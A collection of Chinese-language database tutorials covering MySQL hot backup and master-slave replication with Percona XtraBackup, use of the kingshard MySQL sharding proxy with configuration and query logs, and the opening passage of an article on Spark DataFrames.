120407  9:01:40  InnoDB: Shutdown completed; log sequence number 92036620
120407 09:01:40  innobackupex: completed OK!



在实现“准备”的过程中，innobackupex 通常还可以使用 --use-memory 选项来指定其可以使用的内存的大小，默认通常为 100M。如果有足够的内存可用，可以多划分一些内存给 prepare 的过程，以提高其完成速度。


恢复备份


将数据复制到从服务器上：
scp -r /path/to/BACKUP-DIR root@slave_host:/data/


在从服务器中恢复备份数据：
innobackupex --copy-back  /path/to/BACKUP-DIR


如果服务器剩余空间不足，你可以使用 --move-back 替换掉 --copy-back。


如果执行正确，其输出信息的最后几行通常如下：


innobackupex: Starting to copy InnoDB log files
innobackupex: in '/backup/2012-04-07_08-17-03'
innobackupex: back to original InnoDB log directory '/mydata/data'
innobackupex: Finished copying back files.
...
120407 09:36:10  innobackupex: completed OK!



启动从库 MySQL，设置主库信息


当数据恢复至数据目录以后，还需要确保所有数据文件的属主和属组均为正确的用户，如mysql，否则，在启动mysqld之前还需要事先修改数据文件的属主和属组。如：


chown -R  mysql:mysql  /mydata/data/


启动从库：


/etc/init.d/mysqld start


在主库中开设主从用的账号和权限：


GRANT REPLICATION SLAVE ON *.* TO 'slave'@'192.168.0.1' IDENTIFIED BY 'slave';


查看备份文件 xtrabackup_binlog_info 中的日志文件以及position。


CHANGE MASTER TO
MASTER_HOST='<master_host>',
MASTER_USER='<slave_username>',
MASTER_PASSWORD='<slave_password>',
MASTER_LOG_FILE='<see xtrabackup_binlog_info>',
MASTER_LOG_POS=<see xtrabackup_binlog_info>;



开启主从同步：


START SLAVE;



查看从库状态：


SHOW SLAVE STATUS;



Ps：用 innobackupex 备份数据时，–apply-log 处理过的备份数据里有两个文件说明该备份数据对应的 binlog 的文件名和位置。但有时这俩文件说明的位置可能会不同。

1 对于纯 InnoDB 操作，备份出来的数据中上述两个文件的内容是一致的

2 对于 InnoDB 和非事务存储引擎混合操作，xtrabackup_binlog_info 中所示的 position 应该会比 xtrabackup_pos_innodb 所示的数值大。此时应以 xtrabackup_binlog_info 为准；而后者和 apply-log 时 InnoDB recovery log 中显示的内容是一致的，只针对 InnoDB 这部分数据。


Ps2:启动 MySQL 时，遇到权限问题的解决方法：


报错信息：


150430 14:41:16  InnoDB: Operating system error number 13 in a file operation.
InnoDB: The error means mysqld does not have the access rights to
InnoDB: the directory.



解决方法：
chown -R mysql:mysql /home/data/mysql
chcon -R -t mysqld_db_t /home/mysql


参考资料：


1、http://www.oschina.net/question/1997575_167330

2、http://www.linuxidc.com/Linux/2012-10/71919.htm

3、http://julyclyde.org/?p=403
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作者：王奥OX
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前言


Percona XtraBackup可以说是一个相对完美的免费开源数据备份工具，支持在线无锁表同步复制和可并行高效率的安全备份恢复机制相比mysqldump来说确实让人眼前一亮，与MySQL Enterprise Backup(InnoDB Hot Backup)的功能对比可以参考扩展阅读。当然我们在实际运维过程中都应针对不同的业务需求分析和选择合适的备份恢复方案，这篇文章就是针对MySQL多实例且一个实例对应多个database的情况，实现MySQL在线不停机不锁表的主从同步，日后再继续更新分享基于XtraBackup的其它实用技能。



  XtraBackup是目前首选的备份方案之一






更新历史


2015年08月07日 - 初稿


阅读原文 - http://wsgzao.github.io/post/xtrabackup/


扩展阅读


Percona XtraBackup - https://www.percona.com/software/mysql-database/percona-xtrabackup

MySQL 5.6 Reference Manual :: 17 Replication - http://dev.mysql.com/doc/refman/5.6/en/replication.html

基于Xtrabackup的物理备份解决方案预研 - http://tencentdba.com/blog/pre-research-on-physical-backup-using-xtrab...

xtrabackup 详解 - http://www.cnblogs.com/gomysql/p/3650645.html

LTMP索引 - http://wsgzao.github.io/index/#LTMP




原理


MySQL主从同步原理


MySQL主从同步是在MySQL主从复制(Master-Slave Replication)基础上实现的，通过设置在Master MySQL上的binlog(使其处于打开状态)，Slave MySQL上通过一个I/O线程从Master MySQL上读取binlog，然后传输到Slave MySQL的中继日志中，然后Slave MySQL的SQL线程从中继日志中读取中继日志，然后应用到Slave MySQL的数据库中。这样实现了主从数据同步功能。


XtraBackup备份原理


innobackupex在后台线程不断追踪InnoDB的日志文件，然后复制InnoDB的数据文件。数据文件复制完成之后，日志的复制线程也会结束。这样就得到了不在同一时间点的数据副本和开始备份以后的事务日志。完成上面的步骤之后，就可以使用InnoDB崩溃恢复代码执行事务日志（redo log），以达到数据的一致性。

备份分为两个过程：

1. backup，备份阶段，追踪事务日志和复制数据文件（物理备份）。

2. preparing，重放事务日志，使所有的数据处于同一个时间点，达到一致性状态。


XtraBackup的优点



	可以快速可靠的完成数据备份（复制数据文件和追踪事务日志）

	数据备份过程中不会中断事务的处理（热备份）

	节约磁盘空间和网络带宽

	自动完成备份鉴定

	因更快的恢复时间而提高在线时间



配置


准备工作



  MySQL步骤和my.cnf配置参考LTMP - http://wsgzao.github.io/post/ltmp/




sql
#原有主数据库版本
mysql -V
mysql  Ver 14.14 Distrib 5.5.31, for Linux (x86_64) using readline 5.1

#迁移从数据库版本
mysql -V
mysql  Ver 14.14 Distrib 5.6.25, for linux-glibc2.5 (x86_64) using  EditLine wrapper

#检查数据库引擎
show engines;

+--------------------+---------+----------------------------------------------------------------+--------------+------+------------+
| Engine             | Support | Comment                                                        | Transactions | XA   | Savepoints |
+--------------------+---------+----------------------------------------------------------------+--------------+------+------------+
| MRG_MYISAM         | YES     | Collection of identical MyISAM tables                          | NO           | NO   | NO         |
| CSV                | YES     | CSV storage engine                                             | NO           | NO   | NO         |
| MyISAM             | YES     | MyISAM storage engine                                          | NO           | NO   | NO         |
| BLACKHOLE          | YES     | /dev/null storage engine (anything you write to it disappears) | NO           | NO   | NO         |
| MEMORY             | YES     | Hash based, stored in memory, useful for temporary tables      | NO           | NO   | NO         |
| InnoDB             | DEFAULT | Supports transactions, row-level locking, and foreign keys     | YES          | YES  | YES        |
| ARCHIVE            | YES     | Archive storage engine                                         | NO           | NO   | NO         |
| PERFORMANCE_SCHEMA | YES     | Performance Schema                                             | NO           | NO   | NO         |
| FEDERATED          | NO      | Federated MySQL storage engine                                 | NULL         | NULL | NULL       |
+--------------------+---------+----------------------------------------------------------------+--------------+------+------------+


#主从数据库同步注意点
[mysqld]
#主从之间的id不能相同
server-id
#启用二进制日志
log-bin
#一般在从库开启（可选）
read_only
#推荐使用InnoDB并做好相关配置


#检查主从数据库状态
mysql -S /tmp/mysql.sock -e "show global variables like 'server_id';"
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id     | 1     |
+---------------+-------+

mysql -S /tmp/mysql.sock -e "show global variables like 'log_bin';"
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| log_bin       | ON    |
+---------------+-------+




安装percona-xtrabackup



  一般推荐rpm安装 - https://www.percona.com/downloads/XtraBackup/LATEST/




bashyum -y install perl perl-devel libaio libaio-devel perl-Time-HiRes perl-DBD-MySQL
#rpm -ivh percona-xtrabackup-2.2.12-1.el6.x86_64.rpm 
rpm -Uvh percona-xtrabackup-2.2.12-1.el6.x86_64.rpm 




备份和恢复



  通常一般都直接使用innobackupex，因为它能同时备份InnoDB和MyISAM引擎的表

  重点关注Slave_IO_Running和Slave_SQL_Runningd的状态是否为YES




sql
#备份
innobackupex --socket=/usr/local/var/mysql2/mysql2.sock --user=root --password --defaults-file=/etc/mysqld_multi.cnf --parallel=4 --database=passport /tmp/backup
#保持事务一致性
innobackupex --socket=/usr/local/var/mysql2/mysql2.sock --user=root --password --defaults-file=/etc/mysqld_multi.cnf --database=passport --apply-log /tmp/backup/2015-08-05_16-08-14
#传输
scp -r /tmp/backup/2015-08-05_16-08-14 10.10.16.24:/tmp/backup/ 
#恢复
innobackupex --socket=/tmp/mysql.sock --user=root --password --defaults-file=/app/local/mysql/my.cnf --copy-back /tmp/backup/2015-08-05_16-08-14/
#还原权限
chown -R mysql:mysql /app/data/mysql/data
service mysqld start
/app/local/mysql/scripts/mysql_install_db --basedir=/app/local/mysql --datadir=/app/data/mysql/data --no-defaults --skip-name-resolve --user=mysql


#主库授权同步帐号
SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user;
GRANT REPLICATION SLAVE ON *.* TO 'slave_passport'@'10.10.16.24' IDENTIFIED BY 'slave_passport';
FLUSH PRIVILEGES;

#从库开启同步
cat /tmp/backup/2015-08-05_16-08-14/xtrabackup_binlog_info 
mysql-bin.002599    804497686

CHANGE MASTER TO
MASTER_HOST='10.10.16.51',
MASTER_USER='slave_passport',
MASTER_PASSWORD='slave_passport',
MASTER_PORT=3307,
MASTER_LOG_FILE='mysql-bin.002599',
MASTER_LOG_POS=804497686;

#开启主从同步
start slave;
#查看从库状态
show slave status\ G
#从库的检查参数
Slave_IO_Running=Yes
Slave_SQL_Running=Yes

#主库的检查参数
show master status \G

+------------------+-----------+--------------+------------------+
| File             | Position  | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+-----------+--------------+------------------+
| mysql-bin.002600 | 454769337 |              |                  |
+------------------+-----------+--------------+------------------+
1 row in set (0.00 sec)


show processlist;

Master has sent all binlog to slave; waiting for binlog to be updated




MySQL主从切换



  切换前断开主库访问连接观察进程状态，无写操作后再停止从库IO_THREAD进行切换




sql
#查看主库状态
show processlist;
Master has sent all binlog to slave; waiting for binlog to be updated
show master status \G

#从库停止 IO_THREAD 线程
stop slave IO_THREAD;
show processlist;
Slave has read all relay log; waiting for the slave I/O thread to update it
show slave status \G

#从库切换为主库
stop slave;
reset master;
reset slave all;
show master status \G

#激活帐户
SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user;
GRANT REPLICATION SLAVE ON *.* TO 'slave_passport'@'10.10.16.51' IDENTIFIED BY 'slave_passport';
FLUSH PRIVILEGES;

#切换原有主库为从库
reset master;
reset slave all;

CHANGE MASTER TO
MASTER_HOST='10.10.16.24',
MASTER_USER='slave_passport',
MASTER_PASSWORD='slave_passport',
MASTER_PORT=3306,
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=804497686;

#检查主库
SHOW PROCESSLIST;
show master status \G

#启动从库
SHOW PROCESSLIST;
start slave;
show slave status \G




常见问题



  Slave_SQL_Running:No




sql#一般是事务回滚造成的
stop slave;
set GLOBAL SQL_SLAVE_SKIP_COUNTER=1;
start slave;
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上次写了一篇有关kingshard(https://github.com/flike/kingshard ) 架构设计的文章,得到了很多热心网友的关注。其中有网友提到：希望再写一篇关于如何利用kingshard搭建一个可扩展的MySQL集群的文档。利用假期时间，写了一篇kingshard使用指南，在这篇文章中，我将结合自己对MySQL Proxy的理解，为大家讲述如何正确使用kingshard数据库中间件。

1. kingshard的应用场景

现在很多互联网公司还是在大量使用MySQL来存储各种类型的关系型数据。随着访问量和数据量的增长，开发者不得不考虑一些MySQL相关的新问题：


	读写分离问题。由于前端应用访问量增加，单台MySQL不足以支撑整个系统的写入和查询操作。这时候，我们不得不将一些耗时的查询操作分散到多个slave上。


	单表容量问题。如果在系统设计之初，没有考虑到分表问题。随着数据量的增长，单表容量越来越大。作者见过单表容量5亿条记录，然后一个简单的delete操作都会引起系统慢日志，而且有可能导致MySQL IO瞬发性的飙升。很多同学可能会想到，在查询的字段上加上索引，但当数据量增长到这么大的时候，即使加上索引效果也不明显了。归根结底，就是单表数据量太大，导致MySQL即使通过索引定位数据，仍然需要扫描很多记录。


	数据库的运维问题。如果在代码中配置主库和从库host，系统运行当然也是没问题的。但这样大大增加了运维工作的压力，比如：MySQL数据库IO压力由于访问量的增加居高不下，DBA需要添加一台slave，这时候就不得不修改代码，然后打包并上线。还有很多非常实际的例子，在这就不一一列举。


	连接池。前端应用频繁连接MySQL，由此给MySQL带来的额外性能消耗也是不容忽视的。如果通过增加一个连接池，每个DB缓存一定数量的MySQL连接，当有应用需要连接后端的MySQL，直接从连接池里取出一个已建好的连接来发送SQL请求，这样会大大加快数据查询速度。而且可以降低MySQL的性能消耗。


	SQL日志。在程序出现问题时，我们希望得到一些SQL日志，比如，什么时刻哪条SQL发送到哪一台DB上了。通过查看这种日志能够帮助我们快速定位问题。




面对这些问题，我们可以在客户端代码中逐一实现。但这样也会使得客户端越来越重，不那么灵活。作者一直从事数据库相关工作的开发，正是基于数据库开发的痛点，设计和实现了kingshard数据库中间件。kingshard对上述5类问题都有比较合适的解决方案。下面对kingshard的主要功能，逐个介绍并演示一下。

2. 安装和启动说明

(1). 设置配置文件

下面给出一个配置文件范例，用户可以自行按照自己的需求逐项配置：

# kingshard的地址和端口
addr : 127.0.0.1:9696

# 连接kingshard的用户名和密码
user :  kingshard
password : kingshard

# log级别，[debug|info|warn|error],默认是error
log_level : debug
#日志文件路径，如果不配置则会输出到终端。
log_path : /Users/flike/log
# 只允许下面的IP列表连接kingshard，如果不配置则对连接kingshard的IP不做限制。
allow_ips: 127.0.0.1

# 一个node节点表示mysql集群的一个数据分片，包括一主多从（可以不配置从库）
nodes :
    #node节点名字
    name : node1 

    # 连接池中默认的空闲连接数
    idle_conns : 16

    # kingshard连接该node中mysql的用户名和密码，master和slave的用户名和密码必须一致
    user :  kingshard 
    password : kingshard

    # master的地址和端口 
    master : 127.0.0.1:3306

    # slave的地址和端口，可不配置
    #slave : 192.168.0.12@2,192.168.0.13@3
    #kingshard在300秒内都连接不上mysql，kingshard则会下线该mysql
    down_after_noalive : 300
- 
    name : node2 
    idle_conns : 16
    rw_split: true
    user :  kingshard 
    password : kingshard

    master : 192.168.59.103:3307
    slave : 
    down_after_noalive: 100

# 分表规则
schemas :
-
    #分表使用的db，所有的分表必须都在这个db中。
    db : kingshard
    #分表分布的node名字
    nodes: [node1,node2]
    rules:
            #所有未分表的SQL，都会发往默认node。
        default: node1
        shard:
        -   
            #分表名字
            table: test_shard_hash
            #分表字段
            key: id
            #分表分布的node
            nodes: [node1, node2]
            #分表类型
            type: hash
            #子表个数分布，表示node1有4个子表，                  #node2有4个子表。
            locations: [4,4]

        -   
            table: test_shard_range
            key: id
            type: range
            nodes: [node1, node2]
            locations: [4,4]
            #表示每个子表包含的最大记录数，也就是说每                  #个子表最多包好10000条记录。
            table_row_limit: 10000


这里着重说一下分表的配置规则：


	kingshard支持两种类型的分表规则：hash和range。


	kingshard分表涉及到的子表，需要用户在各个db手动创建好，并且格式是：table_name_%4d,也就是说子表下标由4位数组成。例如:table_name_0000,table_name_0102。


	所有操作未分表的SQL语句都将发送到默认节点。




(2). 安装和启动kingshard


	安装Go语言环境，具体步骤请Google。


	git clone https://github.com/flike/kingshard.git src/github.com/flike/kingshard


	cd src/github.com/flike/kingshard


	source ./dev.sh


	make


	设置配置文件


	运行kingshard。./bin/kingshard -config=etc/ks.yaml




3. 跨节点分表

由于作者的只有两台MySQL，所以搭建了两个节点，这两个节点都只有一台Master 角色的MySQL数据库，具体的拓扑图如下所示：


3.1. 分表操作演示

分表操作有hash和range两种类型，在这里只演示hash类型的分表操作，range类型的分表类似，就不再赘述了。

3.1.1. 手动创建子表

在node1和node2上各创建4张子表，下面只给出在node1上test_shard_hash_0000的建表SQL语句，其他子表的建表SQL语句类似。node1包含：test_shard_hash_0000, test_shard_hash_0001, test_shard_hash_0002, test_shard_hash_0003。node2包含：test_shard_hash_0004, test_shard_hash_0005, test_shard_hash_0006, test_shard_hash_0007。

CREATE TABLE `test_shard_hash_0000` (
  `id` bigint(64) unsigned NOT NULL,
  `str` varchar(256) DEFAULT NULL,
  `f` double DEFAULT NULL,
  `e` enum('test1','test2') DEFAULT NULL,
  `u` tinyint(3) unsigned DEFAULT NULL,
  `i` tinyint(4) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8

3.1.2. 分表的插入和查询

执行下面SQL语句，根据查询的结果可以看出SQL语句根据分表规则落到不同的子表。查询操作（select）可以跨多个node，当更新操作涉及到多个node时，kingshard会返回错误。为了保证数据一致性，kingshard不允许同时更新多个node上的子表（因为kingshard还未实现分布式事务）。但可以更新单个node上的多个子表，由单node上的事务保证。

mysql> insert into test_shard_hash(id,str,f,e,u,i) values(15,"flike",3.14,'test2',2,3);
Query OK, 1 row affected (0.01 sec)

mysql> mysql> insert into test_shard_hash(id,str,f,e,u,i) values(7,"chen",2.1,'test1',32,3);
Query OK, 1 row affected (0.01 sec)

mysql> insert into test_shard_hash(id,str,f,e,u,i) values(17,"github",2.5,'test1',32,3);
Query OK, 1 row affected (0.00 sec)

mysql> insert into test_shard_hash(id,str,f,e,u,i) values(18,"kingshard",7.3,'test1',32,3);
Query OK, 1 row affected (0.01 sec)

对应的SQL日志如下所示：

2015/09/02 18:48:24 - INFO - 127.0.0.1:55003->192.168.59.103:3307:insert into test_shard_hash_0007(id, str, f, e, u, i) values (15, 'flike', 3.14, 'test2', 2, 3)
2015/09/02 18:49:05 - INFO - 127.0.0.1:55003->192.168.59.103:3307:insert into test_shard_hash_0007(id, str, f, e, u, i) values (7, 'chen', 2.1, 'test1', 32, 3)
2015/09/02 18:49:51 - INFO - 127.0.0.1:55003->127.0.0.1:3306:insert into test_shard_hash_0001(id, str, f, e, u, i) values (17, 'github', 2.5, 'test1', 32, 3)
2015/09/02 18:50:21 - INFO - 127.0.0.1:55003->127.0.0.1:3306:insert into test_shard_hash_0002(id, str, f, e, u, i) values (18, 'kingshard', 7.3, 'test1', 32, 3)

可以看到前两条SQL发送到了node2的master上了，后两条SQL发送到node1上的master了。

然后我们可以用select语句查看数据，且select支持跨node查询。

mysql> select * from test_shard_hash where id < 18;
+----+--------+------+-------+------+------+
| id | str    | f    | e     | u    | i    |
+----+--------+------+-------+------+------+
| 17 | github |  2.5 | test1 |   32 |    3 |
|  7 | chen   |  2.1 | test1 |   32 |    3 |
| 15 | flike  | 3.14 | test2 |    2 |    3 |
+----+--------+------+-------+------+------+
3 rows in set (0.02 sec)

因为是hash类型的分表，所以对于select范围类型的查询，必须查询每一个子表。对应的SQL日志如下所示：

2015/09/02 18:55:01 - INFO - 127.0.0.1:55003->127.0.0.1:3306:select * from test_shard_hash_0000 where id < 18
2015/09/02 18:55:01 - INFO - 127.0.0.1:55003->127.0.0.1:3306:select * from test_shard_hash_0001 where id < 18
2015/09/02 18:55:01 - INFO - 127.0.0.1:55003->127.0.0.1:3306:select * from test_shard_hash_0002 where id < 18
2015/09/02 18:55:01 - INFO - 127.0.0.1:55003->127.0.0.1:3306:select * from test_shard_hash_0003 where id < 18
2015/09/02 18:55:01 - INFO - 127.0.0.1:55003->192.168.59.103:3307:select * from test_shard_hash_0004 where id < 18
2015/09/02 18:55:01 - INFO - 127.0.0.1:55003->192.168.59.103:3307:select * from test_shard_hash_0005 where id < 18
2015/09/02 18:55:01 - INFO - 127.0.0.1:55003->192.168.59.103:3307:select * from test_shard_hash_0006 where id < 18
2015/09/02 18:55:01 - INFO - 127.0.0.1:55003->192.168.59.103:3307:select * from test_shard_hash_0007 where id < 18

对应等值的select查询，kingshard会计算出具体命中的子表，然后只会在相应的子表中查询。对应的SQL如下所示：

mysql> select * from test_shard_hash where id = 18;
+----+-----------+------+-------+------+------+
| id | str       | f    | e     | u    | i    |
+----+-----------+------+-------+------+------+
| 18 | kingshard |  7.3 | test1 |   32 |    3 |
+----+-----------+------+-------+------+------+
1 row in set (0.00 sec)

对应的SQL日志如下所示：

2015/09/02 18:59:37 - INFO - 127.0.0.1:55003->127.0.0.1:3306:select * from test_shard_hash_0002 where id = 18

3.1.3. 分表的更新

当更新的记录落在同一个子表时，kingshard支持这类操作。在上面插入的记录中，id为7和15的记录都落在test_shard_hash_0007中，所以可以成功地执行下面的SQL：

mysql> update test_shard_hash set u=123 where id = 15 or id = 7;
Query OK, 2 rows affected (0.01 sec)

对应的SQL日志是：

2015/09/02 19:17:27 - INFO - 127.0.0.1:55003->192.168.59.103:3307:update test_shard_hash_0007 set u = 123 where id = 15 or id = 7

当更新的记录落在不同的子表，只有当这些子表在同一个node中，kingshard才支持。kingshard是通过单node事务实现的，也就是说将发往同一个node的SQL都放在一个事务中执行，这些操作正确性由MySQL保证。在上述记录中，我们可以看出id为17和18的记录都在node1中，所以kingshard是可以执行下列SQL：

mysql> update test_shard_hash set i=23 where id = 17 or id = 18;
Query OK, 2 rows affected (0.00 sec)

对应的SQL日志是：

2015/09/02 19:24:46 - INFO - 127.0.0.1:55003->127.0.0.1:3306:update test_shard_hash_0001 set i = 23 where id = 17 or id = 18
2015/09/02 19:24:46 - INFO - 127.0.0.1:55003->127.0.0.1:3306:update test_shard_hash_0002 set i = 23 where id = 17 or id = 18

但是如果更新的记录落在不同的node时，kingshard则会报告错误：
例如：

mysql> update test_shard_hash set i=23 where id = 15 or id = 18;
ERROR 1105 (HY000): no route node

对应的SQL日志是：

2015/09/02 19:24:24 - ERROR - router.go:[483] - [Router] "generateUpdateSql" "update in multi node" "RouteNodeIndexs=[0 1]" conn_id=0

3.2. 指定发送的node

有时候我们需要操作的表，不在default node中。在kingshard中允许用户将特定的sql路由到指定的node上。只需要在sql语句前面加上包含node名称的注释。

mysql> /*node2*/show tables;
+-----------------------+
| Tables_in_kingshard   |
+-----------------------+
| kingshard_test_conn   |
| test_shard_hash_0004  |
| test_shard_hash_0005  |
| test_shard_hash_0006  |
| test_shard_hash_0007  |
| test_shard_range_0004 |
| test_shard_range_0005 |
| test_shard_range_0006 |
| test_shard_range_0007 |
+-----------------------+
9 rows in set (0.03 sec)

mysql> /*node2*/select * from kingshard_test_conn;
Empty set (0.01 sec)

mysql> /*node2*/desc kingshard_test_conn;
+-------+-----------------------+------+-----+---------+-------+
| Field | Type                  | Null | Key | Default | Extra |
+-------+-----------------------+------+-----+---------+-------+
| id    | bigint(20) unsigned   | NO   | PRI | NULL    |       |
| str   | varchar(256)          | YES  |     | NULL    |       |
| f     | double                | YES  |     | NULL    |       |
| e     | enum('test1','test2') | YES  |     | NULL    |       |
| u     | tinyint(3) unsigned   | YES  |     | NULL    |       |
| i     | tinyint(4)            | YES  |     | NULL    |       |
+-------+-----------------------+------+-----+---------+-------+
6 rows in set (0.00 sec)

mysql> /*node2*/insert into kingshard_test_conn values(10,"hello",10.2,'test1',1,1);
Query OK, 1 row affected (0.00 sec)

mysql> /*node2*/select * from kingshard_test_conn;
+----+-------+------+-------+------+------+
| id | str   | f    | e     | u    | i    |
+----+-------+------+-------+------+------+
| 10 | hello | 10.2 | test1 |    1 |    1 |
+----+-------+------+-------+------+------+
1 row in set (0.00 sec)

3.3. 强制读主库

有时候在主库中插入数据后，希望立即从主库读出来。在kingshard中由于读写分离的原因，select默认会发送到相应node的从库上。但是只需要在select语句中加入相应的注释项（/*master*/)，就可以将select语句发送到主库。

mysql> select/*master*/ * from kingshard_test_conn;
+----+----------+------+-------+------+------+
| id | str      | f    | e     | u    | i    |
+----+----------+------+-------+------+------+
|  1 | a        | 3.14 | test1 | NULL | NULL |
|  5 | ""''\abc | NULL | NULL  | NULL | NULL |
|  6 | 中国     | NULL | NULL  | NULL | NULL |
+----+----------+------+-------+------+------+
3 rows in set (0.01 sec)

3.4. 跨node的sum和count函数

在kingshard中，支持sum和count函数，kingshard会将相应的SQL发生到正确的DB，并将结果合并起来再返回给客户的。例如：

mysql> select count(id) from test_shard_hash where id > 1;
+-----------+
| count(id) |
+-----------+
|         4 |
+-----------+
1 row in set (0.02 sec)

mysql> select sum(id) from test_shard_hash where id > 1;
+---------+
| sum(id) |
+---------+
|      57 |
+---------+
1 row in set (0.02 sec)

相应的SQL日志如下所示：

2015/09/03 14:49:01 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select count(id) from test_shard_hash_0000 where id > 1
2015/09/03 14:49:01 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select count(id) from test_shard_hash_0001 where id > 1
2015/09/03 14:49:01 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select count(id) from test_shard_hash_0002 where id > 1
2015/09/03 14:49:01 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select count(id) from test_shard_hash_0003 where id > 1
2015/09/03 14:49:01 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select count(id) from test_shard_hash_0004 where id > 1
2015/09/03 14:49:01 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select count(id) from test_shard_hash_0005 where id > 1
2015/09/03 14:49:01 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select count(id) from test_shard_hash_0006 where id > 1
2015/09/03 14:49:01 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select count(id) from test_shard_hash_0007 where id > 1
2015/09/03 14:49:14 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select sum(id) from test_shard_hash_0000 where id > 1
2015/09/03 14:49:14 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select sum(id) from test_shard_hash_0001 where id > 1
2015/09/03 14:49:14 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select sum(id) from test_shard_hash_0002 where id > 1
2015/09/03 14:49:14 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select sum(id) from test_shard_hash_0003 where id > 1
2015/09/03 14:49:14 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select sum(id) from test_shard_hash_0004 where id > 1
2015/09/03 14:49:14 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select sum(id) from test_shard_hash_0005 where id > 1
2015/09/03 14:49:14 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select sum(id) from test_shard_hash_0006 where id > 1
2015/09/03 14:49:14 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select sum(id) from test_shard_hash_0007 where id > 1

3.5. 跨node的order by

kingshard支持跨node的select操作使用order by，kingshard先将合适的SQL发生到对应的node，然后将结果集在内存中排序，从而实现select的order by操作。示例如下所示：

mysql> select * from test_shard_hash where id > 1 order by id;
+----+-----------+------+-------+------+------+
| id | str       | f    | e     | u    | i    |
+----+-----------+------+-------+------+------+
|  7 | chen      |  2.1 | test1 |  123 |    3 |
| 15 | flike     | 3.14 | test2 |  123 |    3 |
| 17 | github    |  2.5 | test1 |   32 |   23 |
| 18 | kingshard |  7.3 | test1 |   32 |   23 |
+----+-----------+------+-------+------+------+
4 rows in set (0.02 sec)

对应的SQL日志为：

2015/09/03 14:54:11 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select * from test_shard_hash_0000 where id > 1 order by id asc
2015/09/03 14:54:11 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select * from test_shard_hash_0001 where id > 1 order by id asc
2015/09/03 14:54:11 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select * from test_shard_hash_0002 where id > 1 order by id asc
2015/09/03 14:54:11 - INFO - 127.0.0.1:55768->127.0.0.1:3306:select * from test_shard_hash_0003 where id > 1 order by id asc
2015/09/03 14:54:11 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select * from test_shard_hash_0004 where id > 1 order by id asc
2015/09/03 14:54:11 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select * from test_shard_hash_0005 where id > 1 order by id asc
2015/09/03 14:54:11 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select * from test_shard_hash_0006 where id > 1 order by id asc
2015/09/03 14:54:11 - INFO - 127.0.0.1:55768->192.168.59.103:3307:select * from test_shard_hash_0007 where id > 1 order by id asc

4. 单node的事务

kingshard支持在单个node上执行事务，也就是说同一个事务不能跨多个node，当出现跨node的情况时，kingshard会返回错误给客户端。可以跨同node上的不同子表。示例如下所示：

mysql> begin;
Query OK, 0 rows affected (0.00 sec)

mysql> insert into test_shard_hash(id,str,f,e,u,i) values(23,'proxy',9.2,'test1',12,3);
Query OK, 1 row affected (0.00 sec)

mysql> commit;
Query OK, 0 rows affected (0.01 sec)

当在一个事务中，出现跨node的SQL语句时，kingshard会返回错误：

#SQL语句在node2中执行
mysql> insert into test_shard_hash(id,str,f,e,u,i) values(31,'proxy',9.2,'test1',12,3);
Query OK, 1 row affected (0.01 sec)
#SQL语句在需要在node1执行，跨node了。
mysql> insert into test_shard_hash(id,str,f,e,u,i) values(40,'proxy',9.2,'test1',12,3);
ERROR 1105 (HY000): transaction in multi node

6. kingshard的管理端操作

kingshard的管理接口，目前还是命令行的方式。后续有时间打算将其改成web方式。管理端具体的命令可以参考文档。管理端的命令格式，可以分为两类：


	 admin server(opt,k,v) values(action,k1,v1)。这种命令是操作整个kingshard的，其中opt表示这个操作的动作；k表示操作的对象，v表示给对象的赋值。


	admin node(opt,node,k,v) values(action,nodeName,k1,v1),这类命令表示操作node。其中opt表示这个操作的动作；node表示操作哪个node；k表示操作的对象，v表示给对象的赋值。




7. 总结

kingshard开源两个月以来，得到了很多开发者的关注。这足以证明，大家对数据库中间件是有需求的，希望出现一款简单好用的MySQL Proxy。kingshard经过这两个月的迭代开发，也比较稳定了。据了解，有几个公司正在对其进行尝试。后续作者的主要精力会放在优化kingshard的性能上，同时完善kingshard已有的功能。如果大家对kingshard有什么想法或建议，可以发邮件联系我（flikecn#126.com)，非常乐意和大家交流。

8. 开源网址

github: https://github.com/flike/kingshard
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三月中旬，Spark发布了最新的1.3.0版本，其中最重要的变化，便是DataFrame这个API的推出。DataFrame让Spark具备了处理大规模结构化数据的能力，在比原有的RDD转化方式易用的前提下，计算性能更还快了两倍。这一个小小的API，隐含着Spark希望大一统「大数据江湖」的野心和决心。DataFrame像是一条联结所有主流数据源并自动转化为可并行处理格式的水渠，通过它Spark能取悦大数据生态链上的所有玩家，无论是善用R的数据科学家，惯用SQL的商业分析师，还是在意效率和实时性的统计工程师。


以一个常见的场景 -- 日志解析为例，有时我们需要用到一些额外的结构化数据（比如做IP和地址的映射），通常这样的数据会存在MySQL，而访问的方式有两种：一是每个worker远程去检索数据库，弊端是耗费额外的网络I/O资源；二是使用JdbcRDD的API转化为RDD格式，然后编写繁复的函数去实现检索，显然要写更多的代码。而现在，Spark提供了一种新的选择，一行代码就能实现从MySQL到DataFrame的转化，并且支持SQL查询。


实例


首先我们在本地放置了一个JSON文件，文件内容如下：

